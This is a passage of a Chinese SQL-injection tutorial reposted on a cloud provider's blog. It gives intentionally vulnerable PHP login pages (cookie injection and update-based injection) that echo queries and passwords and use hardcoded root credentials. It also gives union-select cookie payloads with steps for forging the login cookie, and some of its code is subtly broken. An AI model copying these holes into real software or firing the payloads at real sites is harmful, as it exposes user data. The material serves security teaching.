          <meta charset="utf8">
      </head>
      <body>
      <form action="" method="post">
      	账号: <input type="text"  name="uname" value=""/><br>
      	密码: <input type="password" name="passwd" value=""/>
      	<input type="submit" name="submit" value="Submit" />
      </form>
      	<?php
      		header("Content-type: text/html;charset=utf8");
      		error_reporting(0);
      		$connect = mysqli_connect("localhost","root","12345678","lyshark");
      		if($connect)
      		{
      			$cookee = $_COOKIE['uname'];
      			if($cookee)
      			{
      				$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";
      				$query = mysqli_query($connect,$sql);
      				echo "执行SQL: " . $sql . "<br>";
      				if($query)
      				{
      					$row = mysqli_fetch_array($query);
      					if($row)
      					{
      						echo "<br> COOKIE 已登录 <br>";
      						echo "您的账号: " . $row['username'] . "<br>";
      						echo "您的密码: " . $row['password'] . "<br>";
      					}
      				}
      			}
      
      		    if(isset($_POST['uname']) && isset($_POST['passwd']))
      		    {
      			$uname=$_POST['uname'];
      			$passwd=$_POST['passwd'];
      			$passwd = md5($passwd);
      			$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
      			$query = mysqli_query($connect,$sql);
      		        if($query)
      		        {
      		        	$row = mysqli_fetch_array($query);
      		        	$cookee = $row['username'];
      		        	if($row)
      		        	{
      		        		setcookie('uname', $cookee, time() + 3600);
      		        		$format = 'D d M Y - H:i:s';
      		        		$timestamp = time() + 3600;
      		        		echo "COOKIE已设置: " . date($format, $timestamp);
      		        	}
      		        }
      		    }
      		}
      	?>
      </body>
      </html>
      

      以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

      Cookie: uname=admin' and 0 union select database(),2--+
      Cookie: uname=admin' and 0 union select version(),2--+
      

      update-xml注入:

      <!DOCTYPE html>
      <html lang="en">
      <head>
          <meta charset="utf8">
          <title>SQL 注入测试代码</title>
      </head>
      <body>
      <form action="" method="post">
      	账号: <input  type="text"  name="uname" value=""/><br>
      	密码: <input   type="password" name="passwd" value=""/>
      	<input type="submit" name="submit" value="提交表单" />
      </form>
      	<?php
      		error_reporting(0);
      		header("Content-type: text/html;charset=utf8");
      
      		function Check($value)
      		{
      			if(!empty($value))
      			{ // 如果结果不为空,则取出其前十五个字符 18
      				$value = substr($value,0,15);
      			}
      			// 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
      			// 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
      			if(get_magic_quotes_gpc())
      			{
      				// 删除由 addslashes() 函数添加的反斜杠
      				$value = stripslashes($value);
      			}
      			if(!ctype_digit($value))
      			{
      				// ctype_digit()判断是不是数字,是数字就返回true,否则返回false
      				// mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
      				$value = "'" . mysql_real_escape_string($value) . ".";
      			}
      			else
      				$value = intval($value);
      			return $value;
      		}
      
      
      		$connect = mysqli_connect("localhost","root","12345678","lyshark");
      		if($connect)
      		{
      		    if(isset($_POST['uname']) && isset($_POST['passwd']))
      		    {
      		    	$uname=Check($_POST['uname']);
      				$passwd=$_POST['passwd'];
      				$passwd = md5($passwd);
      
      		        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1";
      		        $query = mysqli_query($connect,$sql);
      		        if($query)
      		        {
      		        	$row = mysqli_fetch_array($query);
      		        	if($row)
      		        	{
      		        		$rows = $row['username'];
      		        		$udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'";
      		        		mysql_query($update);
      		        		if(mysql_error())
      		        		{
      		        			print_r(mysql_error());
      		        		}
      		        		echo "后端执行语句: {$sql} <br>";
      		        	}
      		        	else
      		        	{
      		        		echo "<br>后端执行语句: {$sql} <br>";
      		        	}
      		        }
      		    }
      		}
      	?>
      </body>
      </html>
      
      版权声明:本文内容来自第三方投稿或授权转载,原文地址:https://my.oschina.net/lyshark/blog/5550982,作者:LyShark,版权归原作者所有。本网站转在其作品的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如因作品内容、版权等问题需要同本网站联系,请发邮件至ctyunbbs@chinatelecom.cn沟通。

      上一篇:C/C++ 动态解密释放ShellCode

      下一篇:【ASP.NET Core】修改Blazor.Server的Hub地址后引发的问题

      相关文章

      2025-05-19 09:05:01

      项目更新到公网服务器的操作步骤

      项目更新到公网服务器的操作步骤

      2025-05-19 09:05:01
      公网 , 数据库 , 文件 , 更新 , 服务器
      2025-05-19 09:04:53

      Django rest froamwork-ModelSerializer

      Django rest froamwork-ModelSerializer

      2025-05-19 09:04:53
      django , sqlite , 数据库
      2025-05-19 09:04:38

      mysql只有在任务处于完成状态才能运行

      mysql只有在任务处于完成状态才能运行

      2025-05-19 09:04:38
      MySQL , 任务 , 数据库 , 查询 , 状态
      2025-05-19 09:04:30

      设置28401事件后启动数据库时报错ORA-49100

      设置28401事件后启动数据库时报错ORA-49100

      2025-05-19 09:04:30
      ORA , 数据库 , 时报
      2025-05-14 10:03:13

      MySQL 索引优化以及慢查询优化

      MySQL 是一种广泛使用的关系型数据库管理系统,因其性能优异和使用便捷而备受欢迎。然而,随着数据量的增长和查询复杂度的增加,性能瓶颈也变得越来越明显。

      2025-05-14 10:03:13
      MySQL , 优化 , 使用 , 性能 , 数据库 , 查询 , 索引
      2025-05-14 10:03:05

      Oracle数据库用户权限分析

      Oracle数据库用户权限分析

      2025-05-14 10:03:05
      Oracle , 分析 , 数据库 , 权限 , 用户
      2025-05-14 10:02:48

      互斥锁解决redis缓存击穿

      在高并发系统中,Redis 缓存是一种常见的性能优化方式。然而,缓存击穿问题也伴随着高并发访问而来。

      2025-05-14 10:02:48
      Redis , 互斥 , 数据库 , 线程 , 缓存 , 请求
      2025-05-14 10:02:48

      SQL Server 账号管理1

      SQL Server 账号管理主要包含登录名、用户、架构、角色等管理。通过对账号的管理可以有效的提高数据库系统的安全性,规范运维及使用。

      2025-05-14 10:02:48
      Server , SQL , 对象 , 数据库 , 权限 , 用户
      2025-05-14 10:02:48

      SQL Server 事务日志体系结构1--基本术语

      事务包括对数据库的一次更改或一系列更改。它有一个明确开始和明确结束。开始时使用BEGIN TRANSACTION语句,或者SQL Server会自动为您开始一个事务。

      2025-05-14 10:02:48
      Server , SQL , 事务 , 数据库 , 日志 , 磁盘
      2025-05-13 09:51:17

      dblogin登陆数据库时报错ORA-04060

      dblogin登陆数据库时报错ORA-04060

      2025-05-13 09:51:17
      ORA , 数据库 , 时报
      查看更多
      推荐标签

      作者介绍

      天翼云小翼
      天翼云用户

      文章

      33561

      阅读量

      5226774

      查看更多

      最新文章

      互斥锁解决redis缓存击穿

      2025-05-14 10:02:48

      springboot实战学习(1)(开发模式与环境)

      2025-05-09 08:50:35

      springboot酒店管理系统分前后端【源码+数据库】

      2025-05-08 09:03:21

      java Swing学生成绩管理系统【项目源码+数据库脚本】

      2025-05-08 09:03:21

      基础—SQL—DCL(数据控制语言)之权限控制

      2025-05-07 09:10:01

      基础—SQL—DCL(数据控制语言)小结

      2025-05-07 09:09:52

      查看更多

      热门文章

      Python数据库测试实战教程

      2023-06-07 07:31:52

      Hibernate注解开发关于Id的若干问题

      2022-12-29 09:29:46

      Python基础教程(第3版)中文版 第13章 数据库支持(笔记)

      2023-02-13 07:55:59

      2023爬虫学习笔记 -- Python链接Mysql数据库

      2023-05-04 09:43:57

      PHP时间操作-字符串、时间戳转换

      2023-03-07 06:59:32

      html+css实战146-banner-版权区域-布局

      2023-03-13 09:31:59

      查看更多

      热门标签

      java Java python 编程开发 代码 开发语言 算法 线程 Python html 数组 C++ 元素 javascript c++
      查看更多

      相关产品

      弹性云主机

      随时自助获取、弹性伸缩的云服务器资源

      天翼云电脑(公众版)

      便捷、安全、高效的云电脑服务

      对象存储

      高品质、低成本的云上存储服务

      云硬盘

      为云上计算资源提供持久性块存储

      查看更多

      随机文章

      html+css实战146-banner-版权区域-布局

      window系统上用PHP获取本地物理IP代码

      Java服务端数据库连接:Druid与P6Spy的监控

      php优化技巧

      MySQL操作之数据查询语言:(DQL)(四-2)(多表查询)

      Python爬虫:python2使用scrapy输出unicode乱码

      • 7*24小时售后
      • 无忧退款
      • 免费备案
      • 专家服务
      售前咨询热线
      400-810-9889转1
      关注天翼云
      • 旗舰店
      • 天翼云APP
      • 天翼云微信公众号
      服务与支持
      • 备案中心
      • 售前咨询
      • 智能客服
      • 自助服务
      • 工单管理
      • 客户公告
      • 涉诈举报
      账户管理
      • 管理中心
      • 订单管理
      • 余额管理
      • 发票管理
      • 充值汇款
      • 续费管理
      快速入口
      • 天翼云旗舰店
      • 文档中心
      • 最新活动
      • 免费试用
      • 信任中心
      • 天翼云学堂
      云网生态
      • 甄选商城
      • 渠道合作
      • 云市场合作
      了解天翼云
      • 关于天翼云
      • 天翼云APP
      • 服务案例
      • 新闻资讯
      • 联系我们
      热门产品
      • 云电脑
      • 弹性云主机
      • 云电脑政企版
      • 天翼云手机
      • 云数据库
      • 对象存储
      • 云硬盘
      • Web应用防火墙
      • 服务器安全卫士
      • CDN加速
      热门推荐
      • 云服务备份
      • 边缘安全加速平台
      • 全站加速
      • 安全加速
      • 云服务器
      • 云主机
      • 智能边缘云
      • 应用编排服务
      • 微服务引擎
      • 共享流量包
      更多推荐
      • web应用防火墙
      • 密钥管理
      • 等保咨询
      • 安全专区
      • 应用运维管理
      • 云日志服务
      • 文档数据库服务
      • 云搜索服务
      • 数据湖探索
      • 数据仓库服务
      友情链接
      • 中国电信集团
      • 189邮箱
      • 天翼企业云盘
      • 天翼云盘
      ©2025 天翼云科技有限公司版权所有 增值电信业务经营许可证A2.B1.B2-20090001
      公司地址:北京市东城区青龙胡同甲1号、3号2幢2层205-32室
      • 用户协议
      • 隐私政策
      • 个人信息保护
      • 法律声明
      备案 京公网安备11010802043424号 京ICP备 2021034386号